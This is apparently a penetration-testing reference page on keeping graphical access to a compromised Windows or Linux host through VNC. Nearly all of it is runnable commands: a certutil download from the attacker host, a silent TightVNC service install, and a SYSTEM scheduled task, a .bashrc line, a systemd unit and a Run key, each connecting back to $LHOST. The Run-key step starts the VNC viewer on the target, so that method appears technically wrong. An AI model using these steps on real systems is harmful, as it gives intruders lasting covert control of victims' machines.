# VNC Persistence – Graphical Re-Entry via Reverse VNC

- **URL:** https://hackindex.io/services/vnc/persistence/vnc-reverse-shell-persistence
- **Path:** VNC > Persistence
- **Up:** [Persistence](https://hackindex.io/services/vnc/persistence.md)
- **Published:** 2026-03-12
- **Updated:** 2026-05-21

Installing a VNC server on a compromised host as a startup service or scheduled task gives you a persistent graphical re-entry path. On reconnection (after a reboot, session expiry, or credential rotation), the VNC server calls back to your listener and hands you a full desktop without needing to re-exploit the target.

You need admin or SYSTEM to install a service or create privileged scheduled tasks. Standard user access is enough for per-user startup persistence.

VNC persistence installation methods:

- Windows service install (requires admin/SYSTEM)
- Scheduled task with reverse connection trigger (requires admin)
- Per-user startup folder shortcut (standard user)

## Installing TightVNC as a Service (Windows)

Download TightVNC silently and install as a service:

```bash
certutil -urlcache -split -f http://$LHOST/tightvnc.msi C:\Windows\Temp\tightvnc.msi
msiexec /i C:\Windows\Temp\tightvnc.msi /quiet /norestart ADDLOCAL=Server SERVER_REGISTER_AS_SERVICE=1 SERVER_ADD_FIREWALL_EXCEPTION=0 SET_USEVNCAUTHENTICATION=1 VALUE_OF_VNCAUTHENTICATION=1 SET_PASSWORD=1 VALUE_OF_PASSWORD=$PASSWORD
```

This installs TightVNC server as a Windows service that starts on boot and listens on port 5900. Set `VALUE_OF_PASSWORD` to a password of your choice.

## Configuring Reverse Callback Persistence

For a reverse connection that calls back to your listener rather than waiting for inbound connections (better for NAT traversal), add a scheduled task that triggers the VNC connect-back on startup:

```bash
schtasks /create /tn "VNCConnect" /tr "\"C:\Program Files\TightVNC\tvnserver.exe\" -controlapp -connect $LHOST:5500" /sc onstart /ru SYSTEM /f
# SUCCESS: The scheduled task "VNCConnect" has successfully been created.
```

Start your listener on your attack box before the target reboots:

```bash
vncviewer -listen 0
```

On the next reboot or when you trigger the task manually:

```bash
schtasks /run /tn "VNCConnect"
```

The target's VNC server calls back and your vncviewer receives the session.

## x11vnc Persistence on Linux

On a Linux target with an active X session, install x11vnc and configure it to start on login:

```bash
sudo apt install x11vnc -y
x11vnc -storepasswd $PASSWORD ~/.vnc/passwd
```

Add a reverse connect call to `~/.bashrc` or `~/.profile` for per-user persistence:

```bash
echo "x11vnc -connect $LHOST:5500 -display :0 -rfbauth ~/.vnc/passwd -once -bg 2>/dev/null" >> ~/.bashrc
```

This triggers on every new shell session for the user. For system-wide persistence on boot via systemd:

**/etc/systemd/system/x11vnc.service**

```ini
[Unit]
Description=VNC Persistence
After=network.target

[Service]
ExecStart=/usr/bin/x11vnc -connect $LHOST:5500 -display :0 -rfbauth /root/.vnc/passwd -once
Restart=on-failure
RestartSec=60

[Install]
WantedBy=multi-user.target
```

```bash
systemctl enable x11vnc
systemctl start x11vnc
```

`Restart=on-failure` with `RestartSec=60` retries every minute if the connection fails: useful for keeping the callback alive when your listener is not running.

## Registry Run Key for Lightweight Windows Persistence

For a less intrusive approach without installing a service, add a Run key that calls back on user login:

```bash
REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v VNCPersist /t REG_SZ /d "\"C:\Program Files\TightVNC\tvnviewer.exe\" $LHOST::5500" /f
```

This fires when the compromised user logs in. Lower privilege requirement but dependent on user login rather than system startup.

## Cleanup

Remove the scheduled task:

```bash
schtasks /delete /tn "VNCConnect" /f
```

Remove the registry key:

```bash
REG DELETE HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v VNCPersist /f
```

Uninstall the service:

```bash
msiexec /x C:\Windows\Temp\tightvnc.msi /quiet
```

## References

- [TightVNC for Windows](https://www.tightvnc.com/doc/win/TightVNC_2.8_for_Windows_Installation_and_Getting_Started.pdf) - Installation Guide Silent install parameters and service configuration options.